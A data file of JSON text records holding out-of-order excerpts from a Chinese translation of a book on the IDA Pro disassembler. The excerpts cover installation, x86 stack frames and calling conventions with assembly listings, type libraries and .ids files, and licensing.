    {"text": "6.1.3 导航历史记录 如果将IDA 的文档导航功能与Web浏览器的相应功能进行比较，我们可能会认为名称和地址等同于超链接，因为可以相对容易地访问它们以查看新地址。"},
    {"text": "未知 第六部分 IDA调试器 本部分内容： 第24章 IDA调试器 第25章 反汇编器/调试器集成 第26章 其他调试功能 未知 3.4 安装IDA 从收到崭新的 IDA 光盘的兴奋中平静下来后，开始安装 IDA 吧。你会看到，光盘中包含两个名为utilities 和sdk 的目录，其中分别是各种附加实用工具和 IDA 软件开发套件（这些内容将在后面几章中讨论）。在光盘的根目录下，你将找到一个安装二进制文件。对于Windows 用户，这个二进制文件是一个传统的 Windows 安装程序可执行文件。对于 Linux和OS X用户，该安装二进制文件是一个由 gzip 压缩的.tar 文件。 3.4.1 Windows安装 在Windows 系统上安装 IDA 非常简单。IDA 的Windows 安装程序需要随光盘提供的密码，如果你已经下载了 IDA ，那么密码会通过电子邮件提供。启动 IDA 的Windows 安装程序后，你会看到几个对话框，其中只有一个对话框需要你操作。如图 3-1 所示，你可以在这个对话框中指定IDA 的安装目录，或接受安装程序默认的安装目录。无论你是选择默认的安装目录，还是指定其他安装目录，在本书的剩余部分，我们将以 作为安装目录。在 IDA 目录中，你将发现密钥文件 ida.key 和下列IDA 可执行文件。 idag.exe ：IDA 的Windows GUI 版本。从 6.2版开始，IDA 中不再包含该文件。 idaq.exe ：IDA6.0或更新版本的 Windows Qt GUI版本。 idaw.exe ：IDA 的Windows 文本模式版本。 图3-1 选择安装目录 随着IDA 6.0 开始采用 Qt跨平台GUI 库，IDA 的原始 Windows 版本（idag.exe ）已被废弃，将从版本 6.2开始停止随 IDA 向用户提供。 3.4.2 OS X和Linux安装 要在OS X或Linux系统上安装 IDA ，首先必须用 gunzip 和untar程序将相应的压缩文件解压到你所选择的位置。在 Linux系统中，解压命令为： # tar -xvzf ida61l.tgz 在OS X系统中，解压命令为： # tar -xvzf ida61m.tgz 无论是哪一种情况，你将得到一个名为 ida 的顶层目录，其中包含所需的全部文件。 IDA 针对OS X和Linux系统的 GUI 版本和控制台版本的名称分别为 idaq 和idal 。上述控制台版本的外观与 IDA 的Windows 控制台版本（如图 3-2 所示）的外观非常相似。Linux用户可能需要验证（使用 ldd ）IDA 所需的各种共享库能否在他们的系统中使用。需要特别指出的是，使用插件IDAPython 时，需要安装 Python 2.6。在必要时，你可能需要升级 Python 或创建符号链接以满足IDA 的要求。 图3-2 IDA Pro 的控制台版本 3.4.3 IDA 与SELinux 如果你是一名 Linux用户，并且已启用 SELinux，在尝试加载所需的处理器模块时，你可能会发现IDA 显示错误消息：“无法将可执行栈作为共享对象启用。”使用 execstack 命令可以在每个模块的基础上解决这个问题，如下所示： execstack -c /procs/pc.ilx 3.4.4 32位IDA 与64位IDA IDA 高级版本的用户可能会注意到，每个 IDA 可执行文件都包括两个版本，如 idag.exe 与idag64.exe ，或者 idaq 与idaq64 。这两个版本之间的区别在于：idax64 能够反汇编 64 位代码，而所有IDA 可执行文件本身为 32位代码。因此，在 64 位平台上运行 IDA 的用户需要确保 IDA 所需的任何支持软件可用在 32 位版本中。例如，如果 64 位Linux用户希望使用 IDAPython 以提供脚本支持，则必须安装 32 位版本的 Python 。有关结合使用 32 位与64位软件的详细信息，请查阅操作系统文档。 3.4.5 IDA 目录的结构 在开始使用 IDA 之前，你不一定需要熟悉 IDA 安装目录的结构。但是，既然现在讨论的主题是安装IDA ，还是初步了解一下安装目录的基本结构。在本书的后续章节，我们将介绍IDA的高级功能，到那时，了解 IDA 安装目录的结构将变得更加重要。下面简要介绍 IDA 安装目录中的各个子目录（对于 Windows 和Linux用户，这些子目录位于 下；对于 OS X用户，这些子目录可能位于/idag.app/Contents/MacOS 下）。 未知 1.1 反汇编理论 任何学过编程语言的人都知道，编程语言分为好几代，下面为那些上课不认真的读者简要总结一下。 第一代语言 。这些语言是最低级的语言，一般由 0 和1 或某些简写编码（如十六进制码）组成。只有二进制超人才能读懂它们。由于数据和指令看起来都差不多，人们往往很难将它们区分开来，因此这种语言很容易造成混淆。第一代语言也称为 机器语言 ，有时也叫做 字节码 ，而机器语言程序常被称为 二进制文件 。 第二代语言 。第二代语言也叫 汇编语言 ，它只是一种脱离了机器语言的表查找方式。通常，汇编语言会将具体的位模式或操作码，与短小且易于记忆的字符序列（即 助记符 ）对应起来。有时候，这些助记符确实有助于程序员记住与它们有关的指令。汇编器是程序员用来将汇编语言程序转换成能够执行的机器语言的工具。 第三代语言 。这些语言引入了关键字和结构（它们是程序的构建块），因而其表达能力更接近于自然语言。通常，第三代语言不依赖于任何平台。但是，由于用第三代语言编写的程序使用了特定于操作系统的独特功能，它们便具有了平台依赖性。常见的第三代语言包括FORTRAN 、COBOL、C 和Java 。程序员通常使用编译器将程序转换成汇编语言，或者直接转换成机器语言（或某种大致的等价形式，如字节码）。 第四代语言 。这些语言虽然存在，但与本书无关，因而不属本书的讨论范围。"},
    {"text": "未知 6.2 栈帧 因为IDA Pro 是一种低级分析工具，要利用它的许多功能和显示窗口，需要用户熟悉低级编译语言，其中许多概念与生成机器语言和管理由高级程序使用的内存有关。 为了更好地理解IDA中的一些显示，有必要不时介绍一些编译程序理论，以帮助理解相关的IDA 显示 栈帧（stack frame ）就是这样一种低级概念。"},
    {"text": "编译器通过栈帧（也叫做 激活记录 ）使得对函数参数和局部变量进行分配和释放的过程对程序员透明。 在将控制权转交给函数之前，编译器会插入代码，将函数参数放入栈帧内，并分配足够的内存，以保存函数的局部变量。"},
    {"text": "根据所使用的调用约定，这一操作可能还会从程序栈中清除一个或多个参数。 调用方一旦重新获得控制权，它可能需要删除程序栈中的参数。 这时可能需要对栈进行调整，以将程序栈指针恢复到第(1)步以前的值。"},
    {"text": "各个函数会选择并遵照某一特定的调用约定，以表明它们希望以何种方式接收参数。 调用约定 指定调用方放置函数所需参数的具体位置。 调用约定可能要求将参数放置在特定的寄存器、程序栈、或者寄存器和栈中。"},
    {"text": "同样重要的是，在传递参数时，程序栈还要决定：被调用函数完成其操作后，由谁负责从栈中删除这些参数。 一些调用约定规定，由调用方负责删除它放置在栈中的参数，而另一些调用约定则要求被调用函数负责删除栈中的参数。"},
    {"text": "cdecl 调用约定规定：调用方按从右到左的顺序将函数参数放入栈中，在被调用的函数完成其操作时，调用方（而不是被调用方）负责从栈中清除参数。 从右到左在栈中放入参数的一个结果是，如果函数被调用，最左边的（第一个）参数将始终位于栈顶。"},
    {"text": "如果函数能够接受数量可变的参数，则调用方非常适于进行这种调整，因为它清楚地知道，它向函数传递了多少个参数，因而能够轻松做出正确的调整。"},
    {"text": "在下面的例子中，我们调用一个拥有以下原型的函数： void demo_cdecl(int w, int x, int y, int z); 默认情况下，这个函数将使用 cdecl 调用约定，并希望你按从右到左的顺序压入4个参数，同时要求调用方清除栈中的参数。 编译器可能会为这个函数的调用生成以下代码： ; demo_cdecl(1, 2, 3, 4); //programmer calls demo_cdecl ➊ push 4 ; push parameter z push 3 ; push parameter y push 2 ; push parameter x push 1 ; push parameter w call demo_cdecl ; call the function ➋ add esp, 16 ; adjust esp to its former value 从➊ 开始的4 个 push 操作使程序栈指针（ESP ）发生16 个字节（在32 位体系结构上为 4*sizeof(int) ）的变化，从 demo_cdecl 返回后，它们在➋处被撤销。"},
    {"text": "; demo_cdecl(1, 2, 3, 4); //programmer calls demo_cdecl mov [esp+12], 4 ; move parameter z to fourth position on stack mov [esp+8], 3 ; move parameter y to third position on stack mov [esp+4], 2 ; move parameter x to second position on stack mov [esp], 1 ; move parameter w to top of stack call demo_cdecl ; call the function 在这个例子中，在函数的“序言”阶段，编译器已经在栈顶为 demo_cdecl 的参数预先分配了存储空间。"},
    {"text": "这种约定在函数声明中使用了修饰符 _stdcall ，如下所示： void _stdcall demo_stdcall(int w, int x, int y); 为避免 标准 一词引起混淆，在本书的剩余部分，我们将这种调用约定称为 stdcall 调用约定。"},
    {"text": "和 cdecl 调用约定一样， stdcall 调用约定按从右到左的顺序将函数参数放在程序栈上。 使用 stdcall 调用约定的区别在于：函数结束执行时，应由被调用的函数负责删除栈中的函数参数。"},
    {"text": "demo_stdcall 可能会使用以下指令返回到调用方： ret 12 ; return and clear 12 bytes from the stack 使用 stdcall 的主要优点在于，在每次函数调用之后，不需要通过代码从栈中清除参数，因而能够生成体积稍小、速度稍快的程序。"},
    {"text": "下面的声明中即使用了 fastcall 修饰符： void fastcall demo_fastcall(int w, int x, int y, int z); 为调用 demo_fastcall ，编译器可能会生成以下代码： ; demo_fastcall(1, 2, 3, 4); //programmer calls demo_fastcall push 4 ; move parameter z to second position on stack push 3 ; move parameter y to top position on stack mov edx, 2 ; move parameter x to edx mov ecx, 1 ; move parameter w to ecx call demo_fastcall ; call the function 注意，调用 demo_fastcall 返回后，并不需要调整栈，因为 demo_fastcall 负责在返回到调用方时从栈中清除参数 y 和 z 。"},
    {"text": "GNU g++编译器将 this 看成是任何非静态成员函数的第一个隐含参数，而在所有其他方面与使用 cdecl 约定相同。 因此，对使用g++ 编译的代码来说，在调用非静态成员函数之前， this 被放置到栈顶，且调用方负责在函数返回时删除栈中的参数（至少有一个参数）。"},
    {"text": "如果程序员不怕麻烦，使用了汇编语言，那么，他们就能够完全控制如何向他们创建的函数传递参数。 除非他们希望创建供其他程序员使用的函数，否则，汇编语言程序员能够以任何他们认为适当的方式传递参数。"},
    {"text": "系统调用 是一种特殊的函数调用，用于请求一项操作系统服务。 通常，系统调用会造成状态转换，由用户模式进入内核模式，以便操作系统内核执行用户的请求。 启动系统调用的方式因操作系统和CPU 而异。 例如，Linux x86系统调用使用 int 0x80 指令或 sysenter 指令启动，而其他x86操作系统可能只使用 sysenter 指令。 在许多x86系统（Linux是一个例外）上，系统调用的参数位于运行时栈上，并在启动系统调用之前，在EAX寄存器中放入一个系统调用编号。 Linux系统调用接受位于特定寄存器中的参数，有时候，如果可用寄存器无法存储所有的参数，它也接受位于内存中的参数。"},
    {"text": "6.2.3 栈帧示例 以下面这个在32位x86计算机上编译的函数为例： void bar(int j, int k); // a function to call void demo_stackframe(int a, int b, int c) { int x; char buffer[64]; int y; int z; // body of function not terribly relevant other than bar(z, y); } 计算得出，局部变量最少需要76 字节的栈空间（3个4字节整数和1个64 字节缓冲区）。"},
    {"text": "如图6-3所示是一个用于调用 demo_stackframe 的栈帧实现，假设它并没有使用帧指针寄存器（因此栈指针ESP 作为帧指针）。 进入 demo_stackframe 时，可以使用下面的一行“序言”配置这个栈帧： sub esp, 76 ; allocate sufficient space for all local variables 其中的“偏移量”栏显示的是引用栈帧中的任何局部变量或参数所需的基址+位移地址： 图6-3 基于ESP 的栈帧 生成利用栈指针计算所有变量引用的函数需要编译器做更多工作，因为栈指针会频繁变化，编译器必须确保它在引用栈帧中的任何变量时始终使用了正确的偏移量。 以对 demo_stack- frame 函数中 bar 的调用代码为例： ➊ push dword [esp+4] ; push y ➋ push dword [esp+4] ; push z call bar add esp, 8 ; cdecl requires caller to clear parameters 根据图6-3中的偏移量，➊ 处的 push 准确地将局部变量 y 压入栈中。"},
    {"text": "最终，需要使用 ret 指令从栈顶弹出所需返回地址，并将其插入指令指针寄存器（此时为EIP）中。 在弹出返回地址之前，需要从栈顶删除局部变量，以便在 ret 指令执行时，栈指针正确地指向所保存的返回地址。"},
    {"text": "这个特殊函数的“尾声”如下所示： add esp, 76 ; adjust esp to point to the saved return address ret ; return to the caller 由于专门使用一个寄存器作为帧指针，并通过一段代码在函数入口点配置了帧指针，因此，计算局部变量偏移量的工作变得更加轻松。"},
    {"text": "为了解使用专用帧指针的 demo_stackframe 栈帧的结构，我们以下面这段“序言”代码为例： ➌ push ebp ; save the caller's ebp value ➍ mov ebp, esp ; make ebp point to the saved register value ➎ sub esp, 76 ; allocate space for local variables ➌ 处的 push 指令保存当前调用方使用的EBP 的值。"},
    {"text": "遵循用于Intel 32 位处理器的系统V 应用程序二进制接口（System V Application Binary Interface） 2 的函数可以修改EAX、ECX和EDX寄存器，但需要为所有其他寄存器保留调用方的值。"},
    {"text": "如果需要为调用方保存其他寄存器（如ESI或EDI ），编译器可能会在保存EBP 的同时保存这些寄存器，或者推迟保存操作，直到局部变量已经得到分配。"},
    {"text": "现在，对函数 bar 的调用可以按以下方式执行： ➏ push dword [ebp-72] ; push y push dword [ebp-76] ; push z call bar add esp, 8 ; cdecl requires caller to clear parameters 在执行➏处的 push 指令后，栈指针已经发生改变，但这不会影响到随后的 push 指令对局部变量 z 的访问。"},
    {"text": "在使用EBP 作为帧指针的x86 程序中，下面的代码是一段典型的“尾声”代码： mov esp, ebp ; clears local variables by reseting esp pop ebp ; restore the caller's value of ebp ret ; pop return address to return to the caller 由于这项操作十分常见，因此，x86体系结构提供了 leave 指令，以轻松完成这个任务。 leave ; copies ebp to esp AND then pops into ebp ret ; pop return address to return to the caller 其他处理器体系结构使用的寄存器和指令肯定会有所不同，但构建栈帧的基本过程并无明显差异。"},
    {"text": "在初始分析过程中，IDA 会记住每一项 push 或 pop 操作，以及其他任何可能改变栈指针的算术运算，如增加或减去常量，尽其所能去监控栈指针在函数执行过程中的行为。"},
    {"text": "其他目标包括：确定某函数是否使用一个专用的帧指针（例如，通过识别 push ebp/mov ebp, esp 序列），以及识别对函数栈帧内变量的所有内存引用。"},
    {"text": "例如，如果IDA 在 demo_stackframe 的正文中发现以下指令： mov eax, [ebp+8] 它就知道，函数的第一个参数（此时为 a ）被加载到EAX寄存器中（见图6-4）。"},
    {"text": "通过仔细分析栈帧的结构，IDA 能够区分访问函数参数（位于被保存的返回地址之下）的内存引用及访问局部变量（位于被保存的返回地址之上）的引用。"},
    {"text": "为了解这两种视图，我们以下面使用gcc编译的 demo_stackframe 函数为例： void demo_stackframe(int a, int b, int c) { int x = c; char buffer[64]; int y = b; int z = 10; buffer[0] = 'A'; bar(z, y); } 在这个例子中，我们分别为变量 x 和 y 提供了初始值 c 和 b 。"},
    {"text": "这个函数对应的IDA 反汇编代码如下： .text:00401090 ; ========= S U B R O U T I N E =========================== .text:00401090 .text:00401090 ; Attributes: ➊ bp-based frame .text:00401090 .text:00401090 demo_stackframe proc near ; CODE XREF: sub_4010C1+41↓ p .text:00401090 ➍ .text:00401090 var_60 = dword ptr -60h .text:00401090 var_5C = dword ptr -5Ch .text:00401090 var_58 = byte ptr -58h .text:00401090 var_C = dword ptr -0Ch .text:00401090 arg_4 = dword ptr 0Ch .text:00401090 arg_8 = dword ptr 10h .text:00401090 .text:00401090 push ebp .text:00401091 mov ebp, esp .text:00401093 sub esp, ➋ 78h .text:00401096 mov eax, [ebp+ ➎ arg_8] .text:00401099 ➏ mov [ebp+var_C], eax .text:0040109C ➐ mov eax, [ebp+arg_4] .text:0040109F ➐ mov [ebp+var_5C], eax .text:004010A2 ➑ mov [ebp+var_60], 0Ah .text:004010A9 ➒ mov [ebp+var_58], 41h .text:004010AD mov eax, [ebp+var_5C] .text:004010B0 ➌ mov [esp+4], eax .text:004010B4 mov eax, [ebp+var_60] .text:004010B7 ➌ mov [esp], eax .text:004010BA call bar .text:004010BF leave .text:004010C0 retn .text:004010C0 demo_stackframe endp 下面我们介绍以上代码中的许多内容，以逐步熟悉IDA 的反汇编代码。"},
    {"text": "从位置➋得知，gcc在栈帧中分配了120字节（78h等于120）的局部变量空间，这包括用于向➌处的 bar 传递两个参数的8 字节； 但是，它仍然远大于我们前面估算的76 字节，这表示编译器有时会用额外的字节填补局部变量空间，以确保栈帧内的特殊对齐方式。"},
    {"text": "局部变量名称以 var_ 为前缀，后面跟一个表示变量与被保存的帧指针之间距离（以字节为单位）的十六进制后缀。 在本例中，局部变量 var_C 是一个4 字节（dword ）变量，它位于所保存的帧指针之上，距离为12字节（ [ebp-oCh] ）。"},
    {"text": "函数参数名则以 arg_ 为前缀，后面跟一个表示其与最顶端的参数之间的相对距离的十六进制后缀。 因此，最顶端的4字节参数名为 arg_0 ，而随后的参数则分别为 arg_4 、 arg_8 、 arg_C ，以此类推。"},
    {"text": "图6-5 选择一种替代的显示格式 在这个特例中，由于可以对照源代码，我们可以利用反汇编窗口中的一系列线索，将IDA 生成的变量名称与源代码中使用的名称对应起来。"},
    {"text": "局部变量 x 由参数 c 初始化。 因此， var_C 与 x 对应，因为 x 由➏处的 arg_8 初始化。 同样，局部变量 y 由参数 b 初始化。 因此， var_5C 与 y 对应，因为 y 由➐处的 arg_4 初始化。 局部变量 z 与 var_60 对应，因为它由➑处的值10 初始化。"},
    {"text": "双击任何与某一给定的栈帧有关的变量名称，即可进入详细视图。 在前一个列表中，双击var_C将打开如图6-6所示的栈帧视图（按ESC 键关闭该窗口）。 图6-6 IDA 栈帧视图 由于详细视图显示栈帧中的每一个字节，它占用的空间会比摘要视图（仅列出被引用的变量）多许多。"},
    {"text": "基于有32 位数据被转移这一事实，IDA 得出推断， arg_4 是一个4字节变量，并将其标记如此（ db 定义一个存储字节， dw 定义两个存储字节，也叫做字；"},
    {"text": "未知 第11章 定制IDA 使用IDA 一段时间后，你可能有了自己的首选设置，并希望在你每次打开一个新的数据库时，IDA 都默认使用这些设置。你更改的一些选项在不同的任务中始终保持一致，而其他选项似乎在你每次加载新数据库时都需要重新设置。本章将介绍各种通过配置文件和菜单选项修改 IDA 行为的方法。我们还将指出 IDA 存储各种配置的位置，并讨论特定于数据库的设置与全局设置之间的差异。 未知 19.7 编写处理器模块 在IDA 5.7中引入的使用 IDA 的脚本语言创建处理器模块的功能在一定程度上简化了处理器模块的创建过程。最起码，它完全取消了模块创建过程的构建阶段。Hex-Rays 的Elias Bachaalany在Hex 博客 1 上的一篇文章中介绍了脚本化处理器模块，而且 IDA 的EFI 字节码处理器模块也通过Python 脚本来实现（参见/procs/ebc.py ）。请注意，虽然 Hex 博客文章提供了有用的背景，但用于编写处理器模块的具体 API 已有所变化。开始编写你自己的处理器模块脚本的最佳方法是，使用 SDK 附带的模板模块（参见/module/script/proctemplate.py）。除其他内容外，这个模板枚举了 Python 处理器模块所需的所有字段。 1. 参见See http://www.hexblog.com /?p=116 。 脚本化处理器模块利用了前面讨论的几乎所有元素。了解这些元素将有助于你顺利过渡到脚本化模块。此外，在开发你自己的模块时，你可以用 IDA （截止 IDA 6.1 ）当前附带的 3 个处理器模块作为范例。与 SDK 附带的C++ 示例（涵盖几个文件并要求你正确配置构建环境）相比，这两个模块的结构更易于理解。 从宏观上看，以 Python 实现处理器模块需要完成下面两个任务。 定义子类 idaapi.processor_t ，以实现所有所需的处理器模块函数，如 emu 、 ana 、 out 和 outop 。 定义返回处理器类的一个实例的 PROCESSOR_ENTRY 函数（而非子类的成员）。 下面的代码列出了所需的一些元素： from idaapi import * class demo_processor_t(idaapi.processor_t): # Initialize required processor data fields including id and # assembler and many others. The assembler field is a dictionary # containing keys for all of the fields of an asm_t. A list of # instructions named instruc is also required. Each item in the list # is a two-element dictionary containing name and feature keys. # Also define functions required by processor_t such as those below. def ana(self): # analyzer behavior def emu(self): # emulator behavior def out(self): # outputter behavior def outop(self): # outop behavior # define the processor entry point function which instantiates # and returns an instance of processor_t def PROCESSOR_ENTRY(): return demo_processor_t() 与上面的脚本相比，有效的Python 处理器模块包含更多字段和函数，基本上与任何以C++ 实现的处理器模块所需的字段相对应。编写脚本后，将其复制到/procs 目录，即可安装模块。 未知 第4章 IDA入门 现在到了实际使用 IDA 的时候了。本书的剩余部分将介绍 IDA 的各种功能，以及如何利用它们来满足用户的逆向工程需求。本章首先介绍启动 IDA 后会看到的各种选项，其次说明如何打开二进制文件并开始分析过程。最后简要介绍 IDA 的用户界面，为学习后面的几章打下基础。 为规范统一，本章及本书其他部分的示例都将采用 Windows QtGUI 界面，除非某个示例需要一种特殊的 IDA 版本（如 Linux调试示例）。"},
    {"text": "第8 章曾提到过，类型库文件是 IDA 用于存储复杂数据结构布局的机制。 同时，IDA 还使用类型库文件记录与函数的调用约定和参数序列有关的信息。 IDA 以各种方式使用函数签名信息。"},
    {"text": "如果它发现一个匹配的签名，IDA 就可以知道这个函数使用的调用约定，并对栈指针进行必要的调整（如前所述， stdcall 函数自己对栈进行清理）。"},
    {"text": "LSTATUS _stdcall RegOpenKey(HKEY, LPCTSTR, PHKEY); LSTATUS _stdcall RegOpenKey(HKEY hKey, LPCTSTR lpSubKey, PHKEY phkResult); IDA 的类型库中保存着大量常用API 函数（包括许多Windows API）的签名信息。"},
    {"text": "调用 RegOpenKey 函数的默认反汇编代码清单如下所示： .text:00401006 00C lea eax, [ebp+➋hKey] .text:00401009 00C push eax ➊; phkResult .text:0040100A 010 push offset ➋SubKey ; \"Software\\\\Hex-Rays\\\\IDA\" .text:0040100F 014 push 80000001h ➊; hKey .text:00401014 018 call ds:RegOpenKeyA .text:0040101A ➌00C mov [ebp+var_8], eax 值得注意的是，IDA 已经在右边缘（➊）添加了注释，指出在调用 RegOpenKey 之前，每个指令压入了什么参数。"},
    {"text": "在前面例子中的➋处，我们看到 IDA 已经根据 RegOpenKey 原型中对应的形式参数名称，对一个局部变量（ hKey ）和一个全局变量（ SubKey ）进行了命名。"},
    {"text": "至于 IpSubKey 参数，这个参数名称并不作为注释显示，因为这个参数碰巧指向一个全局字符串变量，而该字符串的内容则通过 IDA 的重复注释机制显示。"},
    {"text": "所有这些信息均源自该函数的签名，同时，IDA 将在反汇编代码清单中适当的导入表位置以注释的形式显示这些信息，如下面的代码段所示： .idata:0040A000 ; LSTATUS __stdcall RegOpenKeyA(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult) .idata:0040A000 extrn RegOpenKeyA:dword ; CODE XREF: _main+14p .idata:0040A000 ; DATA XREF: _main+14r 显示函数原型的注释来自 IDA 的一个.til 文件，该文件提供与Windows API函数有关的信息。"},
    {"text": "如果你遇到一个链接到（无论是动态还是静态）IDA 并不包含其函数原型的库的二进制文件，你可能希望为这个库中的所有函数生成类型签名信息，以便 IDA 能够为自动为你的反汇编代码清单生成注释。"},
    {"text": "同样，我们可以通过 File▶Load File ▶Parse Header File 命令让IDA 解析一个或几个函数原型，在同一个.til 文件中添加函数原型信息。 类似地，你可以使用 tilib.exe（参见第8 章）解析头文件和创建独立的.til 文件，通过将这些.til 文件复制到<IDADIR>/til 中，这些文件就可以全局使用。"},
    {"text": "除了需要知道函数使用了 stdcall 外，IDA 还必须了解在完成操作时，这个函数到底从栈上删除了多少个字节。 缺乏调用约定信息，IDA 将尝试使用一种叫做“单纯方法”（simplex method） 2 的算术分析技巧自动确定一个函数是否使用stdcall。"},
    {"text": "因为这是一个导入函数条目，IDA 无法访问该函数的已编译主体，因而也无法获得与该函数的栈帧结构有关的信息，以及它是否使用 stdcall 约定的直接证据。"},
    {"text": "由于缺乏这些信息，IDA 只得将Purged bytes输入框设置为1，表示它不知道该函数在返回时是否从栈中清除了字节。 在这种情况下，要重写 IDA ，需要输入已删除字节的正确数量，这样，在相关函数被调用时，IDA 会将获得的信息合并到它的栈指针分析中。 如果 IDA 了解该函数的行为，Purged bytes输入框可能已经填有数据（如图 13-1 所示）。"},
    {"text": "13.1.1 IDS 文件 IDA 使用.ids 文件扩展它在库函数方面的知识。 .ids 文件通过列举共享库中包含的每一个导出函数，来描述这个库的内容。"},
    {"text": "与函数有关的详细信息包括函数名称、它的相关序号 3 ，还包括该函数是否使用 stdcall （如果使用 stdcall ，包括返回时该函数从栈上删除了多少字节的代码），另外也包括在反汇编代码清单中引用该函数时显示的可选注释。"},
    {"text": "初次在数据库中加载一个可执行文件时，IDA 将确定该文件所依赖的共享库。 IDA 会在<IDADIR>/ids目录中搜索与每一个共享库对应的.ids 文件，以获得有关该可执行文件可能引用的任何库函数的说明。"},
    {"text": "如果使用零这个特殊的序号，则 Name 指令用于指定当前的.idt 文件所描述的库名称，如下所示： 0 Name=advapi32.dll 一个可选的 Pascal 指令可用于说明一个函数是否使用了 stdcall 调用约定，并指出该函数在返回时从栈中删除了多少个字节的数据。"},
    {"text": "例如： 483 Name=RegOpenKeyA Pascal=12 可以在导出项后附加一个可选的 Comment 指令，指定一条注释，并在反汇编代码清单中每个引用该函数的位置与函数一起显示这条注释。 一个完整的导出项如下所示： 483 Name=RegOpenKeyA Pascal=12 Comment=Open a registry key 此外，读者可以参阅 idsutils 的readme.txt 文件了解其他可选指令。"},
    {"text": "如果希望为与 OpenSLL 有关的ssleay32.dll 库创建一个.idt 文件，可以使用以下命令： $ ./dll2idt.exe ssleay32.dll Convert DLL to IDT file. Copyright 1997 by Yury Haron. Version 1.5 File: ssleay32.dll ... ok 这时，如果解析成功，我们将得到一个名为 SSLEAY32.idt 的文件。"},
    {"text": "生成的.idt 文件的前几行如下所示： ALIGNMENT 4 ;DECLARATION ; 0 Name=SSLEAY32.dll ; 121 Name=BIO_f_ssl 173 Name=BIO_new_buffer_ssl_connec 122 Name=BIO_new_ssl 174 Name=BIO_new_ssl_connect 124 Name=BIO_ssl_copy_session_id 需要注意的是，解析器无法确定一个函数是否使用 stdcall ，以及如果使用了，它从栈上删除了多少字节的数据。"},
    {"text": "创建.ids 文件的最后一个步骤是使用 zipids.exe实用工具压缩.idt 文件，并将得到的.ids 文件复制到<IDADIR>/ids目录中。 $ ./zipids.exe SSLEAY32.idt File: SSLEAY32.idt ... {219 entries [0/0/0]} packed $ cp SSLEAY32.ids ../Ida/ids 这样，只要加载了一个链接到 ssleay32.dll 的二进制文件，IDA 就会加载 SSLEAY32.ids。 如果你选择不将新建的.ids 文件复制到<IDADIR>/ids目录中，你随时可以通过File▶Load File ▶IDS File 加载它们。"},
    {"text": "在使用.ids 文件时，可采用另一个步骤将.ids 文件链接到特定的.sig 或.til 文件。 在选择.ids 文件时，IDA 会使用一个名为<IDADIR>/ida/idsnames的IDS 配置文件。"},
    {"text": "将共享库的名称与它对应的.ids 文件名映射起来。 如果共享库的名称不能完全转换成一个MS-DOS 8.3形式的文件名，这样做可帮助 IDA 定位正确的.ids 文件，如下所示： libc.so.6 libc.ids + 将.ids 与.til 文件映射起来。"},
    {"text": "使用下面的命令，一旦 IDA 加载SSLEAY32.ids，openssl.til文件将会自动加载（请参阅idsnames文件了解相关语法信息）： SSLEAY32.ids SSLEAY32.ids + openssl.til 将.sig 文件与对应的.ids 文件映射起来。"},
    {"text": "下面的命令行指出：一旦用户应用libssl.sig FLIRT 签名，IDA应加载SSLEAY32.ids文件： libssl.sig SSLEAY32.ids + 第15 章将介绍如何使用脚本编写 idsutils 提供的库解析器。"},
    {"text": "未知 3.2 获取IDA Pro 首先，也是最重要的是，IDA 并非免费软件。从某种程度上说，Hex-Rays 的员工要靠卖IDA来开工资。不过，Hex-Rays 为希望了解 IDA 基本功能的用户提供了一个功能有限的免费版本 1 ，但是，该免费版本并不提供最新版本的功能。该免费版本为IDA 5.0（当前版本为 6.1）的简化版，我们将在附录 A 中详细介绍这个免费版本。除免费版本外，Hex-Rays 还提供当前版本的功能有限的演示版 2 。如果你在讨论逆向工程的地方发现的对于 IDA 的称赞尚不足以吸引你购买 IDA ，那么，花一些时间熟悉免费版或演示版的功能，将有助于你了解 IDA 的强大功能及周到的客户服务，促使你购买这一产品。 1. 参见 http://www.hex-rays.com/idapro/idadownfreeware.htm 。 2. 参见 http://www.hex-rays.com/idapro/idadowndemo.htm 。 3.2.1 IDA 版本 从版本6.0开始，IDA 可以在 Windows、Linux 和OS X的GUI 和控制台界面中使用。IDA利用Qt的跨平台GUI 库在上述三个平台上提供一致的用户界面。从功能上看，IDA Pro 共有标准版和高级版两个版本。这两个版本的主要区别，在于它们支持反汇编的处理器体系结构数量不同。快速浏览一下它们所支持的处理器体系结构列表 3 ，即可发现：标准版（写作本书时售价约为540 美元）支持 30 多种处理器，而高级版（价格几乎是标准版的两倍）则支持50多种处理器。高级版支持的其他体系结构包括 x64、AMD64、MIPS、PPC 和SPARC等。 3. 参见 http://www.hex-rays.com/idapro/idaproc.htm 。 3.2.2 IDA 许可证 在购买IDA 时，用户可以选择两种许可证。Hex-Rays 网站 4 称：“已命名许可证（named license ）与某一特定的最终用户有关，可安装到该用户使用的任意多个计算机上。而计算机许可证则与某一台特定的计算机有关，任何使用该计算机的用户都可以使用这种许可证，但一次只能有一名用户使用该许可证。”注意，虽然已命名许可证可以让你在任意多个计算机上安装IDA 软件，但只有你才能运行这些 IDA 软件。而且，对于单个许可证，在某一给定时刻，IDA 只能在其中一台计算机上运行。 4 参见 http://www.hex-rays.com/idapro/idaorder.htm 。 说明 与许多其他专有软件的许可证不同，IDA 的许可证特别赋予了用户对 IDA 进行逆向工程的权利。 3.2.3 购买IDA 在版本6.0 之前，用户购买的 IDA 包括一个 Windows GUI 版本及用于 Windows、Linux 和OS X的控制台版本。从版本 6.0开始，购买者必须具体指定他们希望运行 IDA 的操作系统。每个IDA 6. x 的副本仅提供指定操作系统的控制台和基于 Qt的GUI 版本。如果用户需要购买针对备用操作系统的其他许可证，Hex-Rays 将给予价格优惠。用户可以从 IDA 销售网页上列出的授权分销商那里购买 IDA ，或者通过传真或电子邮件直接向 Hex-Rays 购买。购买后，用户可获得产品光盘或下载版本的软件，并且可获得一年的免费产品服务和升级。除 IDA 安装程序外，产品光盘中还包括 IDA SDK 以及其他实用工具。通常，选择以下载方式购买 IDA 的用户只能获得IDA 的安装程序，并需要单独下载其他组件。 一直以来，Hex-Rays 根据 IDA 在各国的盗版情况，将IDA 的销售限制在特定的一些国家。对于违反 IDA 许可证条款的用户，它还保留有一份黑名单，并拒绝与这些用户及其雇主开展业务。 3.2.4 升级IDA IDAHelp （帮助）菜单包括一个用于检查可用升级的选项。此外，IDA 会根据你的密钥文件中的过期日期自动向你发出警告，提示你 IDA 即将过期。一般情况下，在升级过程中，用户必须向Hex-Rays 提交ida.key 文件。然后，Hex-Rays 会验证用户的密钥，并提供如何获得升级版本的详细信息。如果你发现你的 IDA 版本过低，没有升级资格，请记得利用 Hex-Rays 